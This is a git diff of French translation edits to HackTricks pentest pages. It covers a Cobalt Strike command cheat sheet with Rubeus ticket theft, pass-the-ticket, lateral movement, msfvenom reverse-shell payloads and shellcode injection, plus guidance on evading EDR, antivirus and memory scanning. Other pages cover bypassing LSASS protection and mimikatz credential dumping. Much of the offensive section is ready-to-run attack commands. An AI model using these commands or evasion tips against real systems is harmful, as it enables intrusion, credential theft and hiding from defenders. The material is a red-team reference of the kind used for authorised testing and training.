 execute-assembly /root/Tools/SharpCollection/Seatbelt.exe -group=system
 execute-assembly C:\path\Rubeus.exe asktgt /user: /domain: /aes256: /nowrap /opsec
@@ -111,13 +112,13 @@ make_token \ DummyPass
 [System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
 kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi
 
-## Pass the ticket depuis SYSTEM
+## Passer le ticket depuis SYSTEM
 ## Générer un nouveau processus avec le ticket
 execute-assembly C:\path\Rubeus.exe asktgt /user: /domain: /aes256: /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
 ## Voler le token de ce processus
 steal_token 
 
-## Extraire le ticket + Pass the ticket
+## Extraire le ticket + Passer le ticket
 ### Lister les tickets
 execute-assembly C:\path\Rubeus.exe triage
 ### Dump le ticket intéressant par luid
@@ -129,30 +130,28 @@ execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket.
 ### Enfin, voler le token de ce nouveau processus
 steal_token 
 
-# Lateral Movement
+# Mouvement latéral
 ## Si un token a été créé, il sera utilisé
 jump [method] [target] [listener]
 ## Méthodes :
 ## psexec                    x86   Utiliser un service pour exécuter un artefact Service EXE
 ## psexec64                  x64   Utiliser un service pour exécuter un artefact Service EXE
-## psexec_psh                x86   Utiliser un service pour exécuter une ligne de commande PowerShell
-## winrm                     x86   Exécuter un script PowerShell via WinRM
-## winrm64                   x64   Exécuter un script PowerShell via WinRM
+## psexec_psh                x86   Utiliser un service pour exécuter une ligne de commande PowerShell
+## winrm                     x86   Exécuter un script PowerShell via WinRM
+## winrm64                   x64   Exécuter un script PowerShell via WinRM
 ## wmi_msbuild               x64   mouvement latéral wmi avec tâche c# inline msbuild (oppsec)
 
-
 remote-exec [method] [target] [command] # remote-exec ne retourne pas de sortie
 ## Méthodes :
-## psexec                          Exécution à distance via le Gestionnaire de Contrôle de Service
-## winrm                           Exécution à distance via WinRM (PowerShell)
-## wmi                             Exécution à distance via WMI
+## psexec                          Exécution à distance via le Gestionnaire de contrôle de service
+## winrm                           Exécution à distance via WinRM (PowerShell)
+## wmi                             Exécution à distance via WMI
 
-## Pour exécuter un beacon avec wmi (ce n'est pas dans la commande jump), il suffit de télécharger le beacon et de l'exécuter
+## Pour exécuter un beacon avec wmi (il n'est pas dans la commande jump), il suffit de télécharger le beacon et de l'exécuter
 beacon> upload C:\Payloads\beacon-smb.exe
 beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
 
-
-# Pass session to Metasploit - Through listener
+# Passer la session à Metasploit - Via l'écouteur
 ## Sur l'hôte metaploit
 msf6 > use exploit/multi/handler
 msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
@@ -160,45 +159,44 @@ msf6 exploit(multi/handler) > set LHOST eth0
 msf6 exploit(multi/handler) > set LPORT 8080
 msf6 exploit(multi/handler) > exploit -j
 
-## Sur cobalt : Listeners > Ajouter et définir le Payload sur Foreign HTTP. Définissez l'Hôte sur 10.10.5.120, le Port sur 8080 et cliquez sur Enregistrer.
+## Sur cobalt : Listeners > Ajouter et définir la charge utile sur HTTP étranger. Définissez l'hôte sur 10.10.5.120, le port sur 8080 et cliquez sur Enregistrer.
 beacon> spawn metasploit
-## Vous ne pouvez lancer que des sessions Meterpreter x86 avec le listener étranger.
+## Vous ne pouvez lancer que des sessions Meterpreter x86 avec l'écouteur étranger.
 
-# Pass session to Metasploit - Through shellcode injection
+# Passer la session à Metasploit - Via l'injection de shellcode
 ## Sur l'hôte metasploit
 msfvenom -p windows/x64/meterpreter_reverse_http LHOST= LPORT= -f raw -o /tmp/msf.bin
-## Exécutez msfvenom et préparez le listener multi/handler
+## Exécutez msfvenom et préparez l'écouteur multi/handler
 
 ## Copier le fichier bin sur l'hôte Cobalt Strike
 ps
 shinject  x64 C:\Payloads\msf.bin #Injecter le shellcode metasploit dans un processus x64
 
-# Pass metasploit session to cobalt strike
-## Générer le shellcode Beacon stageless, allez à Attacks > Packages > Windows Executable (S), sélectionnez le listener souhaité, sélectionnez Raw comme type de sortie et sélectionnez Utiliser le payload x64.
-## Utilisez post/windows/manage/shellcode_inject dans metasploit pour injecter le shellcode Cobalt Strike généré
+# Passer la session metasploit à Cobalt Strike
+## Générer le shellcode Beacon stageless, allez à Attacks > Packages > Windows Executable (S), sélectionnez l'écouteur souhaité, sélectionnez Raw comme type de sortie et sélectionnez Utiliser le payload x64.
+## Utilisez post/windows/manage/shellcode_inject dans metasploit pour injecter le shellcode Cobalt Strike généré.
 
-
-# Pivoting
-## Ouvrir un proxy socks dans le teamserver
+# Pivotement
+## Ouvrir un proxy socks dans le serveur d'équipe
 beacon> socks 1080
 
-# SSH connection
+# Connexion SSH
 beacon> ssh 10.10.17.12:22 username password
## Opsec -### Execute-Assembly +### Execute-Assembly -Le **`execute-assembly`** utilise un **processus sacrificiel** en utilisant l'injection de processus à distance pour exécuter le programme indiqué. Cela est très bruyant car pour injecter à l'intérieur d'un processus, certaines API Win sont utilisées que chaque EDR vérifie. Cependant, il existe des outils personnalisés qui peuvent être utilisés pour charger quelque chose dans le même processus : +Le **`execute-assembly`** utilise un **processus sacrificiel** en utilisant l'injection de processus à distance pour exécuter le programme indiqué. Cela est très bruyant car pour injecter dans un processus, certaines API Win sont utilisées que chaque EDR vérifie. Cependant, il existe des outils personnalisés qui peuvent être utilisés pour charger quelque chose dans le même processus : - [https://github.com/anthemtotheego/InlineExecute-Assembly](https://github.com/anthemtotheego/InlineExecute-Assembly) - [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly) - Dans Cobalt Strike, vous pouvez également utiliser BOF (Beacon Object Files) : [https://github.com/CCob/BOF.NET](https://github.com/CCob/BOF.NET) - [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly) -Le script agressor `https://github.com/outflanknl/HelpColor` créera la commande `helpx` dans Cobalt Strike qui mettra des couleurs dans les commandes indiquant si elles sont des BOFs (vert), si elles sont Frok&Run (jaune) et similaires, ou si elles sont ProcessExecution, injection ou similaires (rouge). Ce qui aide à savoir quelles commandes sont plus discrètes. +Le script agressor `https://github.com/outflanknl/HelpColor` créera la commande `helpx` dans Cobalt Strike qui mettra des couleurs dans les commandes indiquant si elles sont des BOFs (vert), si elles sont Frok&Run (jaune) et similaire, ou si elles sont ProcessExecution, injection ou similaire (rouge). Ce qui aide à savoir quelles commandes sont plus discrètes. -### Act as the user +### Agir en tant qu'utilisateur Vous pourriez vérifier des événements comme `Seatbelt.exe LogonEvents ExplicitLogonEvents PoweredOnEvents` : @@ -209,17 +207,17 @@ Vous pourriez vérifier des événements comme `Seatbelt.exe LogonEvents Explici Lors de l'utilisation de `jump` depuis Cobalt Strike, il est préférable d'utiliser la méthode `wmi_msbuild` pour rendre le nouveau processus plus légitime. -### Use computer accounts +### Utiliser des comptes d'ordinateur Il est courant que les défenseurs vérifient des comportements étranges générés par des utilisateurs et **excluent les comptes de service et les comptes d'ordinateur comme `*$` de leur surveillance**. Vous pourriez utiliser ces comptes pour effectuer un mouvement latéral ou une élévation de privilèges. -### Use stageless payloads +### Utiliser des charges utiles stageless -Les payloads stageless sont moins bruyants que les stagés car ils n'ont pas besoin de télécharger une seconde étape depuis le serveur C2. Cela signifie qu'ils ne génèrent aucun trafic réseau après la connexion initiale, ce qui les rend moins susceptibles d'être détectés par des défenses basées sur le réseau. +Les charges utiles stageless sont moins bruyantes que celles en plusieurs étapes car elles n'ont pas besoin de télécharger une seconde étape depuis le serveur C2. Cela signifie qu'elles ne génèrent aucun trafic réseau après la connexion initiale, ce qui les rend moins susceptibles d'être détectées par des défenses basées sur le réseau. -### Tokens & Token Store +### Tokens & Stockage de Tokens -Faites attention lorsque vous volez ou générez des tokens car il pourrait être possible pour un EDR d'énumérer tous les tokens de tous les threads et de trouver un **token appartenant à un autre utilisateur** ou même SYSTEM dans le processus. +Faites attention lorsque vous volez ou générez des tokens car il pourrait être possible pour un EDR d'énumérer tous les tokens de tous les threads et de trouver un **token appartenant à un autre utilisateur** ou même à SYSTEM dans le processus. Cela permet de stocker des tokens **par beacon** afin qu'il ne soit pas nécessaire de voler le même token encore et encore. Cela est utile pour le mouvement latéral ou lorsque vous devez utiliser un token volé plusieurs fois : @@ -232,25 +230,25 @@ Cela permet de stocker des tokens **par beacon** afin qu'il ne soit pas nécessa Lors du mouvement latéral, il est généralement préférable de **voler un token que de générer un nouveau** ou d'effectuer une attaque pass the hash. -### Guardrails +### Garde-fous -Cobalt Strike a une fonctionnalité appelée **Guardrails** qui aide à prévenir l'utilisation de certaines commandes ou actions qui pourraient être détectées par les défenseurs. Les Guardrails peuvent être configurés pour bloquer des commandes spécifiques, telles que `make_token`, `jump`, `remote-exec`, et d'autres couramment utilisées pour le mouvement latéral ou l'élévation de privilèges. +Cobalt Strike a une fonctionnalité appelée **Garde-fous** qui aide à prévenir l'utilisation de certaines commandes ou actions qui pourraient être détectées par les défenseurs. Les garde-fous peuvent être configurés pour bloquer des commandes spécifiques, telles que `make_token`, `jump`, `remote-exec`, et d'autres couramment utilisées pour le mouvement latéral ou l'élévation de privilèges. -De plus, le dépôt [https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks](https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks) contient également quelques vérifications et idées que vous pourriez envisager avant d'exécuter un payload. +De plus, le dépôt [https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks](https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks) contient également quelques vérifications et idées que vous pourriez envisager avant d'exécuter une charge utile. -### Tickets encryption +### Chiffrement des tickets Dans un AD, faites attention au chiffrement des tickets. Par défaut, certains outils utiliseront le chiffrement RC4 pour les tickets Kerberos, qui est moins sécurisé que le chiffrement AES et par défaut, les environnements à jour utiliseront AES. Cela peut être détecté par des défenseurs qui surveillent les algorithmes de chiffrement faibles. -### Avoid Defaults +### Éviter les valeurs par défaut Lors de l'utilisation de Cobalt Strike, par défaut, les pipes SMB auront le nom `msagent_####` et `"status_####`. Changez ces noms. Il est possible de vérifier les noms des pipes existants depuis Cobalt Strike avec la commande : `ls \\.\pipe\` De plus, avec les sessions SSH, un pipe appelé `\\.\pipe\postex_ssh_####` est créé. Changez-le avec `set ssh_pipename "";`. -Aussi dans l'attaque de post exploitation, les pipes `\\.\pipe\postex_####` peuvent être modifiés avec `set pipename ""`. +Aussi dans l'attaque de post-exploitation, les pipes `\\.\pipe\postex_####` peuvent être modifiés avec `set pipename ""`. -Dans les profils Cobalt Strike, vous pouvez également modifier des choses comme : +Dans les profils Cobalt Strike, vous pouvez également modifier des éléments tels que : - Éviter d'utiliser `rwx` - Comment le comportement d'injection de processus fonctionne (quelles API seront utilisées) dans le bloc `process-inject {...}` @@ -260,21 +258,21 @@ Dans les profils Cobalt Strike, vous pouvez également modifier des choses comme - L'empreinte mémoire et le contenu DLL avec le bloc `stage {...}` - Le trafic réseau -### Bypass memory scanning +### Contournement de l'analyse de la mémoire -Certaines EDR scannent la mémoire à la recherche de signatures de malware connues. Cobalt Strike permet de modifier la fonction `sleep_mask` en tant que BOF qui sera capable de chiffrer en mémoire le backdoor. +Certains EDR scannent la mémoire à la recherche de signatures de malware connues. Cobalt Strike permet de modifier la fonction `sleep_mask` en tant que BOF qui sera capable de chiffrer en mémoire la porte dérobée. -### Noisy proc injections +### Injections de processus bruyantes -Lors de l'injection de code dans un processus, cela est généralement très bruyant, car **aucun processus régulier n'effectue généralement cette action et parce que les moyens de le faire sont très limités**. Par conséquent, cela pourrait être détecté par des systèmes de détection basés sur le comportement. De plus, cela pourrait également être détecté par des EDR scannant le réseau pour **des threads contenant du code qui n'est pas sur le disque** (bien que des processus tels que les navigateurs utilisant JIT aient cela couramment). Exemple : [https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2) +Lors de l'injection de code dans un processus, cela est généralement très bruyant, car **aucun processus régulier n'effectue généralement cette action et parce que les moyens de le faire sont très limités**. Par conséquent, cela pourrait être détecté par des systèmes de détection basés sur le comportement. De plus, cela pourrait également être détecté par des EDR scannant le réseau à la recherche de **threads contenant du code qui n'est pas sur le disque** (bien que des processus tels que les navigateurs utilisant JIT aient cela couramment). Exemple : [https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2) -### Spawnas | PID and PPID relationships +### Spawnas | Relations PID et PPID Lors du lancement d'un nouveau processus, il est important de **maintenir une relation parent-enfant régulière** entre les processus pour éviter la détection. Si svchost.exec exécute iexplorer.exe, cela semblera suspect, car svchost.exe n'est pas un parent d'iexplorer.exe dans un environnement Windows normal. -Lorsqu'un nouveau beacon est généré dans Cobalt Strike, par défaut, un processus utilisant **`rundll32.exe`** est créé pour exécuter le nouveau listener. Ce n'est pas très discret et peut être facilement détecté par des EDR. De plus, `rundll32.exe` est exécuté sans aucun argument, ce qui le rend encore plus suspect. +Lorsqu'un nouveau beacon est lancé dans Cobalt Strike, par défaut, un processus utilisant **`rundll32.exe`** est créé pour exécuter le nouvel écouteur. Ce n'est pas très discret et peut être facilement détecté par les EDR. De plus, `rundll32.exe` est exécuté sans aucun argument, ce qui le rend encore plus suspect. -Avec la commande suivante de Cobalt Strike, vous pouvez spécifier un processus différent pour générer le nouveau beacon, le rendant moins détectable : +Avec la commande suivante de Cobalt Strike, vous pouvez spécifier un processus différent pour lancer le nouveau beacon, le rendant moins détectable : ```bash spawnto x86 svchost.exe ``` @@ -284,9 +282,9 @@ Vous pouvez également modifier ce paramètre **`spawnto_x86` et `spawnto_x64`** Les attaquants auront parfois besoin de pouvoir exécuter des outils localement, même sur des machines Linux, et de faire en sorte que le trafic des victimes atteigne l'outil (par exemple, NTLM relay). -De plus, parfois, pour effectuer une attaque pass-the-hash ou pass-the-ticket, il est plus discret pour l'attaquant **d'ajouter ce hash ou ce ticket dans son propre processus LSASS** localement, puis de pivoter à partir de celui-ci au lieu de modifier un processus LSASS d'une machine victime. +De plus, parfois, pour effectuer une attaque pass-the-hash ou pass-the-ticket, il est plus furtif pour l'attaquant **d'ajouter ce hash ou ce ticket dans son propre processus LSASS** localement, puis de pivoter à partir de celui-ci au lieu de modifier un processus LSASS d'une machine victime. -Cependant, vous devez être **prudent avec le trafic généré**, car vous pourriez envoyer un trafic inhabituel (kerberos ?) depuis votre processus de porte dérobée. Pour cela, vous pourriez pivoter vers un processus de navigateur (bien que vous puissiez être pris en train de vous injecter dans un processus, donc pensez à une manière discrète de le faire). +Cependant, vous devez être **prudent avec le trafic généré**, car vous pourriez envoyer un trafic inhabituel (kerberos ?) depuis votre processus de porte dérobée. Pour cela, vous pourriez pivoter vers un processus de navigateur (bien que vous puissiez être pris en flagrant délit en vous injectant dans un processus, donc pensez à une manière furtive de le faire). ```bash ### Avoiding AVs @@ -360,3 +358,6 @@ cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\Resou cd C:\Tools\cobaltstrike\ArtifactKit pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe . ``` + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/windows-hardening/stealing-credentials/credentials-protections.md b/src/windows-hardening/stealing-credentials/credentials-protections.md index 975c95533..1d82e8d79 100644 --- a/src/windows-hardening/stealing-credentials/credentials-protections.md +++ b/src/windows-hardening/stealing-credentials/credentials-protections.md @@ -1,7 +1,5 @@ # Protections des Identifiants Windows -## Protections des Identifiants - {{#include ../../banners/hacktricks-training.md}} ## WDigest @@ -32,9 +30,9 @@ Cette structure est empaquetée dans un seul octet et détermine **qui peut acc - Lorsque **LSASS fonctionne en tant que PPL**, les tentatives de l'ouvrir en utilisant `OpenProcess(PROCESS_VM_READ | QUERY_INFORMATION)` depuis un contexte admin normal **échouent avec `0x5 (Accès refusé)`**, même si `SeDebugPrivilege` est activé. - Vous pouvez **vérifier le niveau de protection de LSASS** en utilisant des outils comme Process Hacker ou de manière programmatique en lisant la valeur `EPROCESS.Protection`. - LSASS aura généralement `PsProtectedSignerLsa-Light` (`0x41`), qui ne peut être accédé **que par des processus signés avec un signataire de niveau supérieur**, tel que `WinTcb` (`0x61` ou `0x62`). -- PPL est une **restriction uniquement au niveau de l'espace utilisateur** ; **le code au niveau du noyau peut complètement le contourner**. -- Le fait que LSASS soit PPL ne **prévent pas le dumping de credentials si vous pouvez exécuter du shellcode noyau** ou **exploiter un processus à privilèges élevés avec un accès approprié**. -- **Définir ou supprimer PPL** nécessite un redémarrage ou des **paramètres de Secure Boot/UEFI**, ce qui peut persister le paramètre PPL même après que les modifications du registre aient été annulées. +- PPL est une **restriction uniquement au niveau de l'espace utilisateur** ; **le code au niveau du noyau peut le contourner complètement**. +- Le fait que LSASS soit PPL ne **prévent pas le dumping de credentials si vous pouvez exécuter du shellcode au niveau du noyau** ou **exploiter un processus à privilèges élevés avec un accès approprié**. +- **Définir ou supprimer PPL** nécessite un redémarrage ou des **paramètres de Secure Boot/UEFI**, qui peuvent persister même après que les modifications du registre aient été annulées. **Options pour contourner les protections PPL :** @@ -43,7 +41,7 @@ Si vous souhaitez dumper LSASS malgré PPL, vous avez 3 options principales : ![](../../images/mimidrv.png) -2. **Apporter votre propre pilote vulnérable (BYOVD)** pour exécuter du code noyau personnalisé et désactiver la protection. Des outils comme **PPLKiller**, **gdrv-loader** ou **kdmapper** rendent cela faisable. +2. **Apporter votre propre pilote vulnérable (BYOVD)** pour exécuter du code personnalisé au niveau du noyau et désactiver la protection. Des outils comme **PPLKiller**, **gdrv-loader** ou **kdmapper** rendent cela faisable. 3. **Voler un handle LSASS existant** d'un autre processus qui l'a ouvert (par exemple, un processus AV), puis **le dupliquer** dans votre processus. C'est la base de la technique `pypykatz live lsa --method handledup`. 4. **Abuser d'un processus privilégié** qui vous permettra de charger du code arbitraire dans son espace d'adresses ou à l'intérieur d'un autre processus privilégié, contournant ainsi efficacement les restrictions PPL. Vous pouvez consulter un exemple de cela dans [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) ou [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump). @@ -57,15 +55,15 @@ Lorsque vous exécutez **`mimikatz privilege::debug sekurlsa::logonpasswords`**, ## Credential Guard -**Credential Guard**, une fonctionnalité exclusive aux **Windows 10 (versions Entreprise et Éducation)**, améliore la sécurité des identifiants de machine en utilisant **Virtual Secure Mode (VSM)** et **Virtualization Based Security (VBS)**. Il exploite les extensions de virtualisation du processeur pour isoler des processus clés dans un espace mémoire protégé, loin de l'accès du système d'exploitation principal. Cette isolation garantit que même le noyau ne peut pas accéder à la mémoire dans VSM, protégeant ainsi efficacement les identifiants contre des attaques telles que **pass-the-hash**. L'**Autorité de Sécurité Locale (LSA)** fonctionne dans cet environnement sécurisé en tant que trustlet, tandis que le processus **LSASS** dans le système d'exploitation principal agit simplement comme un communicateur avec le LSA de VSM. +**Credential Guard**, une fonctionnalité exclusive aux **Windows 10 (versions Entreprise et Éducation)**, améliore la sécurité des identifiants de machine en utilisant **Virtual Secure Mode (VSM)** et **Virtualization Based Security (VBS)**. Il exploite les extensions de virtualisation du processeur pour isoler des processus clés dans un espace mémoire protégé, loin de l'accès du système d'exploitation principal. Cette isolation garantit que même le noyau ne peut pas accéder à la mémoire dans VSM, protégeant ainsi efficacement les identifiants contre des attaques comme **pass-the-hash**. L'**Autorité de Sécurité Locale (LSA)** fonctionne dans cet environnement sécurisé en tant que trustlet, tandis que le processus **LSASS** dans le système d'exploitation principal agit simplement comme un communicateur avec le LSA de VSM. -Par défaut, **Credential Guard** n'est pas actif et nécessite une activation manuelle au sein d'une organisation. Il est crucial pour améliorer la sécurité contre des outils comme **Mimikatz**, qui sont entravés dans leur capacité à extraire des identifiants. Cependant, des vulnérabilités peuvent encore être exploitées par l'ajout de **Security Support Providers (SSP)** personnalisés pour capturer les identifiants en texte clair lors des tentatives de connexion. +Par défaut, **Credential Guard** n'est pas actif et nécessite une activation manuelle au sein d'une organisation. Il est crucial pour améliorer la sécurité contre des outils comme **Mimikatz**, qui sont entravés dans leur capacité à extraire des identifiants. Cependant, des vulnérabilités peuvent encore être exploitées par l'ajout de **Security Support Providers (SSP)** personnalisés pour capturer des identifiants en texte clair lors des tentatives de connexion. Pour vérifier l'état d'activation de **Credential Guard**, la clé de registre _**LsaCfgFlags**_ sous _**HKLM\System\CurrentControlSet\Control\LSA**_ peut être inspectée. Une valeur de "**1**" indique une activation avec **UEFI lock**, "**2**" sans verrou, et "**0**" signifie qu'il n'est pas activé. Cette vérification de registre, bien qu'indicative, n'est pas la seule étape pour activer Credential Guard. Des conseils détaillés et un script PowerShell pour activer cette fonctionnalité sont disponibles en ligne. ```bash reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags ``` -Pour une compréhension complète et des instructions sur l'activation de **Credential Guard** dans Windows 10 et son activation automatique dans les systèmes compatibles de **Windows 11 Enterprise et Education (version 22H2)**, visitez [la documentation de Microsoft](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage). +Pour une compréhension complète et des instructions sur l'activation de **Credential Guard** dans Windows 10 et son activation automatique dans les systèmes compatibles de **Windows 11 Enterprise et Education (version 22H2)**, consultez [la documentation de Microsoft](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage). Des détails supplémentaires sur la mise en œuvre de SSP personnalisés pour la capture de credentials sont fournis dans [ce guide](../active-directory-methodology/custom-ssp.md). @@ -75,15 +73,15 @@ Des détails supplémentaires sur la mise en œuvre de SSP personnalisés pour l Traditionnellement, lors de la connexion à un ordinateur distant via RDP, vos credentials sont stockés sur la machine cible. Cela pose un risque de sécurité significatif, surtout lors de l'utilisation de comptes avec des privilèges élevés. Cependant, avec l'introduction du _**mode Restricted Admin**_, ce risque est considérablement réduit. -Lors de l'initiation d'une connexion RDP en utilisant la commande **mstsc.exe /RestrictedAdmin**, l'authentification à l'ordinateur distant est effectuée sans stocker vos credentials dessus. Cette approche garantit que, en cas d'infection par un malware ou si un utilisateur malveillant accède au serveur distant, vos credentials ne sont pas compromises, car elles ne sont pas stockées sur le serveur. +Lors de l'initiation d'une connexion RDP en utilisant la commande **mstsc.exe /RestrictedAdmin**, l'authentification à l'ordinateur distant est effectuée sans stocker vos credentials sur celui-ci. Cette approche garantit que, en cas d'infection par un malware ou si un utilisateur malveillant accède au serveur distant, vos credentials ne sont pas compromises, car elles ne sont pas stockées sur le serveur. Il est important de noter qu'en **mode Restricted Admin**, les tentatives d'accès aux ressources réseau depuis la session RDP n'utiliseront pas vos credentials personnelles ; au lieu de cela, l'**identité de la machine** est utilisée. -Cette fonctionnalité marque un pas en avant significatif dans la sécurisation des connexions de bureau à distance et la protection des informations sensibles contre l'exposition en cas de violation de la sécurité. +Cette fonctionnalité marque un pas en avant significatif dans la sécurisation des connexions de bureau à distance et la protection des informations sensibles contre toute exposition en cas de violation de la sécurité. ![](../../images/RAM.png) -Pour des informations plus détaillées, visitez [cette ressource](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/). +Pour des informations plus détaillées, consultez [cette ressource](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/). ## Credentials mises en cache @@ -93,7 +91,7 @@ Le nombre de connexions mises en cache est ajustable via une **clé de registre ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` -L'accès à ces informations d'identification mises en cache est strictement contrôlé, seul le compte **SYSTEM** ayant les autorisations nécessaires pour les visualiser. Les administrateurs ayant besoin d'accéder à ces informations doivent le faire avec les privilèges de l'utilisateur SYSTEM. Les informations d'identification sont stockées à : `HKEY_LOCAL_MACHINE\SECURITY\Cache` +L'accès à ces informations d'identification mises en cache est strictement contrôlé, seul le compte **SYSTEM** ayant les autorisations nécessaires pour les visualiser. Les administrateurs ayant besoin d'accéder à ces informations doivent le faire avec des privilèges d'utilisateur SYSTEM. Les informations d'identification sont stockées à : `HKEY_LOCAL_MACHINE\SECURITY\Cache` **Mimikatz** peut être utilisé pour extraire ces informations d'identification mises en cache en utilisant la commande `lsadump::cache`. diff --git a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md index 5a31f7623..245726a4f 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md +++ b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md @@ -1,6 +1,4 @@ -# Usurpation de Client de Tube Nommé - -## Usurpation de Client de Tube Nommé +# Usurpation d'identité du client de pipe nommé {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md b/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md index 58e0ef3dc..94f288f47 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md +++ b/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md @@ -1,3 +1,5 @@ +# SeDebug + SeImpersonate - Copier le jeton + {{#include ../../banners/hacktricks-training.md}} Le code suivant **exploite les privilèges SeDebug et SeImpersonate** pour copier le jeton d'un **processus s'exécutant en tant que SYSTEM** et avec **tous les privilèges du jeton**. \ diff --git a/src/windows-hardening/windows-security-controls/uac-user-account-control.md b/src/windows-hardening/windows-security-controls/uac-user-account-control.md deleted file mode 100644 index cf75ca74f..000000000 --- a/src/windows-hardening/windows-security-controls/uac-user-account-control.md +++ /dev/null @@ -1,190 +0,0 @@ -# UAC - Contrôle de Compte Utilisateur - -{{#include ../../banners/hacktricks-training.md}} - -## UAC - -[Le Contrôle de Compte Utilisateur (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) est une fonctionnalité qui permet une **invite de consentement pour les activités élevées**. Les applications ont différents niveaux d'`intégrité`, et un programme avec un **niveau élevé** peut effectuer des tâches qui **pourraient potentiellement compromettre le système**. Lorsque l'UAC est activé, les applications et les tâches s'exécutent toujours **sous le contexte de sécurité d'un compte non administrateur** à moins qu'un administrateur n'autorise explicitement ces applications/tâches à avoir un accès de niveau administrateur au système pour s'exécuter. C'est une fonctionnalité de commodité qui protège les administrateurs des modifications non intentionnelles mais n'est pas considérée comme une frontière de sécurité. - -Pour plus d'informations sur les niveaux d'intégrité : - -{{#ref}} -../windows-local-privilege-escalation/integrity-levels.md -{{#endref}} - -Lorsque l'UAC est en place, un utilisateur administrateur reçoit 2 jetons : une clé d'utilisateur standard, pour effectuer des actions régulières au niveau régulier, et une avec les privilèges d'administrateur. - -Cette [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) discute en profondeur du fonctionnement de l'UAC et inclut le processus de connexion, l'expérience utilisateur et l'architecture de l'UAC. Les administrateurs peuvent utiliser des politiques de sécurité pour configurer le fonctionnement de l'UAC spécifique à leur organisation au niveau local (en utilisant secpol.msc), ou configuré et déployé via des Objets de Politique de Groupe (GPO) dans un environnement de domaine Active Directory. Les différents paramètres sont discutés en détail [ici](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Il existe 10 paramètres de Politique de Groupe qui peuvent être définis pour l'UAC. Le tableau suivant fournit des détails supplémentaires : - -| Paramètre de Politique de Groupe | Clé de Registre | Paramètre par Défaut | -| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ | -| [Contrôle de Compte Utilisateur : Mode d'Approbation Admin pour le compte Administrateur intégré](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Désactivé | -| [Contrôle de Compte Utilisateur : Autoriser les applications UIAccess à demander une élévation sans utiliser le bureau sécurisé](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Désactivé | -| [Contrôle de Compte Utilisateur : Comportement de l'invite d'élévation pour les administrateurs en Mode d'Approbation Admin](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Demander le consentement pour les binaires non-Windows | -| [Contrôle de Compte Utilisateur : Comportement de l'invite d'élévation pour les utilisateurs standard](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Demander des identifiants sur le bureau sécurisé | -| [Contrôle de Compte Utilisateur : Détecter les installations d'applications et demander une élévation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Activé (par défaut pour les particuliers) Désactivé (par défaut pour les entreprises) | -| [Contrôle de Compte Utilisateur : Élever uniquement les exécutables qui sont signés et 